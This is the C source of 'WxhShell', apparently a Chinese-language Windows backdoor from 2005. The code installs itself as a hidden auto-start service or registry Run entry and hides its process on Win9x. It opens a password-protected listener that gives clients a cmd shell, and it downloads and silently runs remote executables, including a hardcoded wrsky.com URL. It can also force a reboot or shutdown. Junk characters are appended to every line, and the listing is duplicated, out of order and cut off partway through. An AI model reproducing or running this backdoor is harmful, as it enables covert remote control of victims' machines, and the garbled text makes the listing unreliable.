    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tCWJSi`IJ  
    if(Boot(SHUTDOWN)) <^ #P6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cwu$TP A>  
    else { ZJ^s}  
    closesocket(wsh); 0SJ{@*  
    ExitThread(0); 7'_nc!ME  
    } Sdgb#?MR|  
    break; %S{o5txo  
    } nHSTeF I?  
  // 获取shell uDILjOT  
  case 's': { .r~'(g{qt  
    CmdShell(wsh); TT|-aS0l(u  
    closesocket(wsh); ob0~VEH-  
    ExitThread(0); 7 ,$axvLw  
    break; R `;o!B}[  
  } H \r`7  
  // 退出 *I=_*LoG2  
  case 'x': { -"F0eV+y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8dc538:q}  
    CloseIt(wsh); _kh>Z  
    break; BiA >QQ  
    } Ru)(dvk}S  
  // 离开 e@[9C(5E"  
  case 'q': { >RM 0=bO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [/?c@N,  
    closesocket(wsh); v-ThdE$G#  
    WSACleanup(); ^[en3aQ  
    exit(1); Tc:sldtCk  
    break; q;p.wEbr4U  
        } a ]>VZOet  
  } >/b^fAG  
  } <E"*)Oi  
lNHNL a>W  
  // 提示信息 yHl@_rN sC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j\! e9M  
} f](I.lm:  
  } !0b%Jh  
?4:rP@  
  return; LxB&7  
} E\w+kAAf  
fzl=d_  
// shell模块句柄 3KtAK9PT  
int CmdShell(SOCKET sock) pNuqT*  
{ b<\$d4Qy  
STARTUPINFO si; {&uT3*V1  
ZeroMemory(&si,sizeof(si)); 9 >%+bA(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ZqK\=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /n(9&'H<  
PROCESS_INFORMATION ProcessInfo; -=}b;Kf -  
char cmdline[]="cmd"; 1c'79YU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5KK{%6#f\  
  return 0; "rVU4F)  
} T 4eWbNSs  
THJ 3-Ug  
// 自身启动模式 Ax f^hBP  
int StartFromService(void) l7ZB3'  
{ (JWv *p  
typedef struct Q2q| *EL  
{ E evw*;$x  
  DWORD ExitStatus; 1XCmM Z  
  DWORD PebBaseAddress; (e(Rr 4  
  DWORD AffinityMask; )R~a;?T_c0  
  DWORD BasePriority; 2@fa rx:  
  ULONG UniqueProcessId; +1x)z~q=  
  ULONG InheritedFromUniqueProcessId; >ZX|4U[$P  
}   PROCESS_BASIC_INFORMATION; jSB'>m]  
1ADv?+j)A/  
PROCNTQSIP NtQueryInformationProcess; ^L ]B5,} -  
N^lAG"Jao[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k9 l^6#<?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  *=TYVM9  
xLZ bU4  
  HANDLE             hProcess; ZlrhC= 0  
  PROCESS_BASIC_INFORMATION pbi; yu=piP  
wsq LXZI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <iRWd  
  if(NULL == hInst ) return 0; X3AwM%,!  
zLL)VFCJW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b) Ux3PB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cg{Gc]'1#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @/LiR>,  
I :@|^PYw  
  if (!NtQueryInformationProcess) return 0; `&H04x"Y$>  
AO $Wy@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hl**zF  
  if(!hProcess) return 0; 5\&]J7(  
Uh}+"h5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nW11wtiO.  
g**5z'7  
  CloseHandle(hProcess); \KCWYi]  
lr0M<5d=p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zXjw nep  
if(hProcess==NULL) return 0; AxEc^Cof  
rEmwKZF'  
HMODULE hMod; Si]X rub  
char procName[255]; gn^!"MN+g  
unsigned long cbNeeded; `4skwvS=  
p=vV4C:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =D5wqCT(Q  
|WBZN1W)  
  CloseHandle(hProcess); ZB$NVY  
pu#[pa  
if(strstr(procName,"services")) return 1; // 以服务启动 HJ",Sle  
wh*:\_!0\  
  return 0; // 注册表启动 ZL,6_L/  
} t|_{;!^  
FD))'!>  
// 主模块  jC4O`  
int StartWxhshell(LPSTR lpCmdLine) o<nS_x  
{ W/=7jM   
  SOCKET wsl; <cj}:H *  
BOOL val=TRUE; B 2Z0  
  int port=0; AJdp6@O +  
  struct sockaddr_in door; a(f(R&-:$Y  
'mJ13  
  if(wscfg.ws_autoins) Install(); R B%:h-t4  
4dD2{M  
port=atoi(lpCmdLine); kf'=%]9#_T  
@+E7w6>%  
if(port<=0) port=wscfg.ws_port; 6^ab@GrN\  
83Uw  
  WSADATA data; Y0}4WWV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i(Vm!Y82  
7VY8CcL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x%pRDytA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,WGc7NN`  
  door.sin_family = AF_INET; %0zS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'gCZ'edM  
  door.sin_port = htons(port); ~5T$8^K  
']h IfOD"r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sjn:O'  
closesocket(wsl); a5 bPEJ=I  
return 1; Cdmy.gx^  
} :]-$dEu&  
KGD'mByt"  
  if(listen(wsl,2) == INVALID_SOCKET) { [[X+P 0`r  
closesocket(wsl); %mu>-hac  
return 1; '-.wFB;  
} zIm-X,~I$  
  Wxhshell(wsl); pZjpc#*9N  
  WSACleanup(); =9<$eLE0  
\?d TH:v/E  
return 0; nd.hHQ  
7 OWsHlU  
} # M>wH`Q#  
+|0 t  
// 以NT服务方式启动 >: $"a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x;(g  
{ lC4PKm no  
DWORD   status = 0; bJ6p,]g  
  DWORD   specificError = 0xfffffff; 2lo:a{}j  
|EEi&GOR(y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cWM:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5NFRPGYX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6+e4<sy[E  
  serviceStatus.dwWin32ExitCode     = 0; {Zl4C;c  
  serviceStatus.dwServiceSpecificExitCode = 0; h7*O.Opm=  
  serviceStatus.dwCheckPoint       = 0; zofx+g\(W  
  serviceStatus.dwWaitHint       = 0; UKj`_a6  
=Epq%,4nG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hkF^?AJ  
  if (hServiceStatusHandle==0) return; D J_DonO]  
"k, K~@}  
status = GetLastError(); QF&6?e06p0  
  if (status!=NO_ERROR) ]'UgZsJ  
{ ~of,,&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m1V-%kUI  
    serviceStatus.dwCheckPoint       = 0; $ 9=8@  
    serviceStatus.dwWaitHint       = 0; d"GDZ[6  
    serviceStatus.dwWin32ExitCode     = status; JqSr[q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 u2Ny&6w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9(OAKUQ  
    return; ju.OW`GM  
  } p6Gcts?,  
ayeCi8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &F`L}#oL&  
  serviceStatus.dwCheckPoint       = 0; y!5:dvt  
  serviceStatus.dwWaitHint       = 0; $L\@da?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AqqHD=Yp  
} yW`e |!  
R{`gR"*  
// 处理NT服务事件,比如:启动、停止 QTE:K?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I^:F)a:  
{ bRsc-Fz6  
switch(fdwControl) ;W~4L+e  
{ ~ k<SbFp  
case SERVICE_CONTROL_STOP: U{HML|  
  serviceStatus.dwWin32ExitCode = 0; xW0Z'==  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x?=B\8m  
  serviceStatus.dwCheckPoint   = 0; }AJ L,Q7q  
  serviceStatus.dwWaitHint     = 0; 1daL y  
  { -=sf}4A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q1]Wo9j  
  } I=5dYq4 l  
  return; i*68-n  
case SERVICE_CONTROL_PAUSE: --A&TV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BV1u,<T"  
  break; &g {<HU?BT  
case SERVICE_CONTROL_CONTINUE: u GAh7Sop  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2rmNdvvrk  
  break; C5;wf3  
case SERVICE_CONTROL_INTERROGATE: bQj`g2eyM  
  break; B j=@&;  
}; =]d^3bqN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5W{hH\E _5  
} W0|_]"K-  
tvT4S  
// 标准应用程序主函数 xU:4Y0y8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `0z/BCNB  
{ B.RRdK+:  
y;r"+bS8  
// 获取操作系统版本 #<]Iz'\`  
OsIsNt=GetOsVer(); Wp`C:H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3C#RjA-2[  
zQ<88E&&Xs  
  // 从命令行安装 2NYi-@mr  
  if(strpbrk(lpCmdLine,"iI")) Install(); "qE {a>d  
3(o7co-f  
  // 下载执行文件 f B7ljg  
if(wscfg.ws_downexe) { <5k&)EoT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F^miq^K=  
  WinExec(wscfg.ws_filenam,SW_HIDE); DyIV/  
} -!~vA+jw1  
kF?S 2(vH  
if(!OsIsNt) { 3>M.]w6{  
// 如果时win9x,隐藏进程并且设置为注册表启动 }7Jp :.qk  
HideProc(); 5;(0 $4I  
StartWxhshell(lpCmdLine); W }Zb~[,  
} gw J}]Tf  
else d EI a=e|  
  if(StartFromService()) #'8)u)!  
  // 以服务方式启动 6i-*N[!U  
  StartServiceCtrlDispatcher(DispatchTable); )WmZP3$^TX  
else 1\IZcJ {  
  // 普通方式启动 t2U$m'(A&  
  StartWxhshell(lpCmdLine); vbedk+dd?A  
m#;.yR  
return 0; [aHlu[,  
} F:_FjxU  
&urb!tQ>&  
"*t6t4/Q  
A6Q c;v+  
=========================================== JSRg?p\  
v4D!7 t&v"  
s.KOBNCFa  
/k) NP  
d=F)y~&'  
@2?=3Wf  
" ]1tN|ODY*W  
PF`:1;P U  
#include <stdio.h> wR(ttwxK3  
#include <string.h> A(NEWO  
#include <windows.h> wa2~C [  
#include <winsock2.h> Hva{A #  
#include <winsvc.h> a}w&dE$!-  
#include <urlmon.h> pJn>oGeJ&  
@BXaA0F4  
#pragma comment (lib, "Ws2_32.lib") Kn. iyR  
#pragma comment (lib, "urlmon.lib") {o {#]fbO%  
|veBq0U  
#define MAX_USER   100 // 最大客户端连接数 t"tNtLI  
#define BUF_SOCK   200 // sock buffer q 7`   
#define KEY_BUFF   255 // 输入 buffer B6uf;Yc  
9!cW  
#define REBOOT     0   // 重启 .jCk#@+  
#define SHUTDOWN   1   // 关机 e_^KI  
 t9]r  
#define DEF_PORT   5000 // 监听端口 =^by0E2  
cmae&Atotw  
#define REG_LEN     16   // 注册表键长度 *%nX#mwz  
#define SVC_LEN     80   // NT服务名长度 @YsL*zw  
4 #G3ew  
// 从dll定义API [XxA.S)x3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *50ZinfoG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9a-]T=5Ee  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S`4e@Z$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nE4l0[_  
vRxL&8`&  
// wxhshell配置信息 a9L0f BRy  
struct WSCFG { 0 oQ/J:  
  int ws_port;         // 监听端口 f}A^]6MO:  
  char ws_passstr[REG_LEN]; // 口令 _4O[[~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ID&zY;f  
  char ws_regname[REG_LEN]; // 注册表键名 X=\x&Wt  
  char ws_svcname[REG_LEN]; // 服务名 {<"[D([  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mg&HRE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }WoX9M; 1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8`6 LMQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xR _DY'z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RR8U Cv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3EO#EYAHiM  
Q:rT 9&G  
}; Xp.|.)Od  
Y*"<@?n8?x  
// default Wxhshell configuration D=<t;+|  
struct WSCFG wscfg={DEF_PORT, qgh]@JJh  
    "xuhuanlingzhe", dnk1Mu<  
    1, uLF\K+cz  
    "Wxhshell", 3$;J0{&[i  
    "Wxhshell", N c9<X  
            "WxhShell Service", Ogn,1nm%  
    "Wrsky Windows CmdShell Service", oK%K+h  
    "Please Input Your Password: ", #xDDh`  
  1, +38Lojb}   
  "http://www.wrsky.com/wxhshell.exe", Sv~PXi^`H  
  "Wxhshell.exe" 4D0(Fl  
    }; ?|\0)wrRf  
WReYF+Uen  
// 消息定义模块 65 NWX8f}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J*/$ywI  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ;I[ .  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zjzqKdy}F  
char *msg_ws_ext="\n\rExit."; @:I \\S@bN  
char *msg_ws_end="\n\rQuit."; 4+ykE:  
char *msg_ws_boot="\n\rReboot..."; [<,0A]m   
char *msg_ws_poff="\n\rShutdown..."; X*(gT1"t  
char *msg_ws_down="\n\rSave to "; `>$g y/N  
%9fa98>  
char *msg_ws_err="\n\rErr!"; !x+MVJ]  
char *msg_ws_ok="\n\rOK!"; `W6:=H  
Be'?#Qe   
char ExeFile[MAX_PATH]; ,!xz*o+#@  
int nUser = 0; d91I  
HANDLE handles[MAX_USER]; Sz^TG F  
int OsIsNt; PL9zNCr-[  
`@W3sW/^  
SERVICE_STATUS       serviceStatus; }S1Z>ZA5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O(b"F? w  
Tq_1wX'\  
// 函数声明 H!Fr("6}  
int Install(void); g9RzzE!  
int Uninstall(void); Djg 1Qh  
int DownloadFile(char *sURL, SOCKET wsh); |E>v~qD8I  
int Boot(int flag); e-YGuWGN7  
void HideProc(void); |s)VjS4@  
int GetOsVer(void); R;5QD`  
int Wxhshell(SOCKET wsl); wR`w@ 5,d  
void TalkWithClient(void *cs); ZP]2/;h  
int CmdShell(SOCKET sock); 77Q4gw~2U  
int StartFromService(void); .N'%hh  
int StartWxhshell(LPSTR lpCmdLine); 5M/%%Ox  
g wZ+GA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~GsH8yA_P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZdJVs/33Vn  
yHV^a0e7EH  
// 数据结构和表定义 v]UU&Jq8U  
SERVICE_TABLE_ENTRY DispatchTable[] = lyMJW }T+>  
{ .2 N_?  
{wscfg.ws_svcname, NTServiceMain}, 7=9A_4G!  
{NULL, NULL} QH~8 aE_i  
}; ~)oWSo5ll  
b6rzHnl{  
// 自我安装 HXl r  
int Install(void) 7M&.UzIY`  
{ a,F8+ Pb>  
  char svExeFile[MAX_PATH]; 81%qM7v9H  
  HKEY key; WHdqO8  
  strcpy(svExeFile,ExeFile); j};pv2  
>vNk kxWyQ  
// 如果是win9x系统,修改注册表设为自启动 sWqPw}/3>  
if(!OsIsNt) { tIgCF?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uv W:#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Lb _J  
  RegCloseKey(key); `&"H* Ie  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *;V2_fWJ@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K{`2jK#  
  RegCloseKey(key); S]#=ES'^/  
  return 0; ;'Z,[a  
    } Q9Xm b2LN  
  } ]e#,\})Br  
} \6nQ-S_  
else { wnZ*k(  
Xm0&U?dZB  
// 如果是NT以上系统,安装为系统服务 oK(W)[u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N'Z_6A*-  
if (schSCManager!=0) 4`EvEv$i  
{ iPtm@f,bI  
  SC_HANDLE schService = CreateService  CU7iva  
  ( ||"":K  
  schSCManager, gn4g 43  
  wscfg.ws_svcname, 7oqn;6<[>,  
  wscfg.ws_svcdisp, c=jTs+h'  
  SERVICE_ALL_ACCESS, *n$m;yI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z!Pdivx  
  SERVICE_AUTO_START, }hObtAS  
  SERVICE_ERROR_NORMAL, (pRy1DH~  
  svExeFile, S{`!9Pii  
  NULL, F?+Uar|-a  
  NULL, |tolgdj  
  NULL, M7cI$=G  
  NULL, '6Z/-V4k  
  NULL Xbsj:Ko]]U  
  ); A<*tn?M]  
  if (schService!=0) tZc.%TU  
  { =":V WHf  
  CloseServiceHandle(schService); =."WvBKg  
  CloseServiceHandle(schSCManager); iu:p &h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iA{chQBr  
  strcat(svExeFile,wscfg.ws_svcname); G+ \~rl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !]jNVg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * zJiii  
  RegCloseKey(key); M%Kx{*aw&  
  return 0; 'piF_5(@  
    } B2Awdw3=g  
  } S|u1QGB  
  CloseServiceHandle(schSCManager); KzFs#rhpn  
} V }r_   
} UU:QK{{E  
0I ND9h. %  
return 1; Z:o' +oh  
} v'2OHb#  
Kw5+4R(5  
// 自我卸载 bju,p"J1-E  
int Uninstall(void) +XaO?F[c  
{   _c7  
  HKEY key; kdueQ(\  
s"^YW+HMb  
if(!OsIsNt) { qT-nD}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yrv SbqR  
  RegDeleteValue(key,wscfg.ws_regname); A5>gLhl7  
  RegCloseKey(key); Aaw:B?4)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JD\-X(O  
  RegDeleteValue(key,wscfg.ws_regname); ;]`NR  
  RegCloseKey(key); 3Jk?)D y  
  return 0; :N'[d e  
  } h}VYA\+<B  
} jJ{ w -$  
} iTBhLg,  
else { ^Ihdq89t  
JcALFKLB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); URzE+8m^  
if (schSCManager!=0) fN? Lz%z3  
{ v.8S V]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]\b1~ki!F  
  if (schService!=0) vEee/+1?  
  { A"T. nqB^y  
  if(DeleteService(schService)!=0) { #}]il0d  
  CloseServiceHandle(schService); 3E2.v5*  
  CloseServiceHandle(schSCManager); fB ,!|u  
  return 0; Tk@g9\6O9  
  } {CyPcD'$s  
  CloseServiceHandle(schService); C?<XtIoB  
  } }JTgj  
  CloseServiceHandle(schSCManager); .^+$w $  
} r3bvuq,6$  
} ]e3}9.  
uC8T!z  
return 1; pUEok+  
} W&re;?Z{ke  
Q9'p3"yoE  
// 从指定url下载文件 $4~}_phi  
int DownloadFile(char *sURL, SOCKET wsh) a_fW {;}[  
{ LyPBFo[?  
  HRESULT hr; ?Dp^dR  
char seps[]= "/"; (( IBaEq  
char *token; !iz vY  
char *file; ^Th"`Av5  
char myURL[MAX_PATH]; L" ^366M!  
char myFILE[MAX_PATH]; 0 Ln5e.&  
1R~WY'Ed  
strcpy(myURL,sURL); 25@j2K(  
  token=strtok(myURL,seps); L}S4Zz18  
  while(token!=NULL) ?kxWj(D  
  { 2B?i2[a,  
    file=token; 50hh0!1  
  token=strtok(NULL,seps); EF^=3  
  } #3[b|cL  
o)D+qiA3U  
GetCurrentDirectory(MAX_PATH,myFILE); dGW7,B~  
strcat(myFILE, "\\"); u4^"E+y^S  
strcat(myFILE, file); 8}E(UsTa  
  send(wsh,myFILE,strlen(myFILE),0); U$JIF/MO_  
send(wsh,"...",3,0); WsDe0F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >\x 39B  
  if(hr==S_OK) ]SR`96vG  
return 0; "^e?E:( 3  
else DWxh{h">  
return 1; } K-[/;  
pP oC61F  
} ]M"'qC3g  
2}C>{*}yQ  
// 系统电源模块 J0W).mD_H  
int Boot(int flag) TK?+O}v-]!  
{ !OVEA^6  
  HANDLE hToken; kxf=%<l  
  TOKEN_PRIVILEGES tkp; s ^@Cq=  
?Pw \&q  
  if(OsIsNt) { +\$|L+@Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,ST.pu8N.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M@@O50~  
    tkp.PrivilegeCount = 1; oi4Wxcj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ? Z fhz   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q;~>h  
if(flag==REBOOT) { +( (31l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yf`.Cq_:  
  return 0; D ;I;,Z  
} __%E!*m"<_  
else { \k-juF80  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iC2nHZ*,  
  return 0; (>`SS#(T!  
} wz)9/bL  
  } 8mddI  
  else { nv Gd:]Z  
if(flag==REBOOT) { yzl\{I&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n k3lC/f  
  return 0; ",_  
} &V{,D))6[  
else { ov>L-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BtApl)q#  
  return 0; eE_XwLE  
} 0! %}  
} 80>!qG  
2![W N*N>O  
return 1; &bK$!8Z  
} rM.<Gi05Qe  
cHct|Z u  
// win9x进程隐藏模块 )Dpt<}}\  
void HideProc(void) ^{bEq\5&  
{ [ [CXMbD`*  
eakIK+-21y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !jnIXvT1qy  
  if ( hKernel != NULL ) PdBhX  
  { L4Y3\4xXO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hkI);M+@6  
    FreeLibrary(hKernel); QLg9aG|  
  } Xe+FMbBco  
@23x;x  
return; =6YO!B>7  
} 3mz>Y*^?0  
Yk&{VXU<  
// 获取操作系统版本 l);8y5  
int GetOsVer(void) Y\\nJuJo  
{ RyD$4jk+T"  
  OSVERSIONINFO winfo; H2cc).8"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Isb^~c_P  
  GetVersionEx(&winfo); 2MeavTr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  gOAluP  
  return 1; =(\!,S'  
  else TvwIro  
  return 0; :!h H`l}p  
} !S{<Xc'wv  
!WnI`  
// 客户端句柄模块 ji=po;g=E  
int Wxhshell(SOCKET wsl) z59J=?|  
{ 7?] p\`  
  SOCKET wsh; ob #XKL  
  struct sockaddr_in client; FR"^?z?}p  
  DWORD myID; Xy&#}S}9  
$c47cJO)W  
  while(nUser<MAX_USER) Or>[_3  
{ zxdO3I  
  int nSize=sizeof(client); Jl ?Q}SB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KL`>mJo$  
  if(wsh==INVALID_SOCKET) return 1; v}D!  
*?&O8SSBH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o-= lHtR  
if(handles[nUser]==0) B35f 5m7r  
  closesocket(wsh); $g;xw?~#  
else "FS.&&1(  
  nUser++; {NDP}UATw  
  } |;yb *  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r%n[PK^(  
TD7ONa-,  
  return 0; `I$A;OPK7  
} =1capix 1r  
$0t %}DE  
// 关闭 socket k 3XtKPO  
void CloseIt(SOCKET wsh) g2q=&eI"  
{ =p6xc}N  
closesocket(wsh); i-b7  
nUser--; )`-]nMc  
ExitThread(0); $)V4Eu;  
} -2_$zk*n  
zPYa@0I  
// 客户端请求句柄 ?2;G_P+  
void TalkWithClient(void *cs) )I4tl/  
{ rkl7p?  
UtrbkuT  
  SOCKET wsh=(SOCKET)cs; pnU g:R@  
  char pwd[SVC_LEN]; hg @Jpg  
  char cmd[KEY_BUFF]; 9n7d "XD2  
char chr[1]; 0<9TyN6  
int i,j; B"v=Fr[  
[4e5(!e  
  while (nUser < MAX_USER) { 8 Hn{CJ~'  
Q<pM tW  
if(wscfg.ws_passstr) { k~ue^^r}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %?jf.p*kY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kz^G.5n   
  //ZeroMemory(pwd,KEY_BUFF); T\>=o]  
      i=0; ,}0pK\Y>$  
  while(i<SVC_LEN) { .bGeZwvf:G  
(Q+3aEUE  
  // 设置超时 9h{G1XL  
  fd_set FdRead; aJ5R0Y,  
  struct timeval TimeOut; %ZK}y{u\  
  FD_ZERO(&FdRead); =qRVKz  
  FD_SET(wsh,&FdRead); P'8 E8_M}  
  TimeOut.tv_sec=8; Apn#o2  
  TimeOut.tv_usec=0; 9@06]EI_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,R+u%bmn#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ($kwlj~c  
JSU\Hh!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }UrtDXhA  
  pwd=chr[0]; xo$ZPnf(zv  
  if(chr[0]==0xd || chr[0]==0xa) { "K<VZ  
  pwd=0; hj4Rr(T  
  break; j^.P=;  
  } %`'VXR?`h=  
  i++; RAC-;~$WB  
    } ./d (@@  
?x @khzk  
  // 如果是非法用户,关闭 socket !MC W t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]O."M"B  
} kokkZd7!  
Ou^dI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w3@ te\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x-<dJ}`  
~CA+'e%~~  
while(1) { g i)/iz`  
sq_:U_tJ  
  ZeroMemory(cmd,KEY_BUFF); pP @#|T  
d\v _!7  
      // 自动支持客户端 telnet标准   r!S iR(  
  j=0; o2~x'*A0I  
  while(j<KEY_BUFF) { Gm. hBNgp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (`xc3-,  
  cmd[j]=chr[0]; qU}DOL|  
  if(chr[0]==0xa || chr[0]==0xd) { CS/-:>s%  
  cmd[j]=0; =%L^!//c  
  break; d,77L  
  } O,cx9N  
  j++; ($wYaw z  
    } ;IT^SHym  
#d~"bn q;c  
  // 下载文件 zkMQ= ,[  
  if(strstr(cmd,"http://")) { m"*:XfOL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RY'y%6Z]ZO  
  if(DownloadFile(cmd,wsh)) KJd;c.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZLkJYZk  
  else j{g{`Qa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fh~&&f}6  
  } AOe~VW  
  else { sCUPa-cHF  
gJ])A7O  
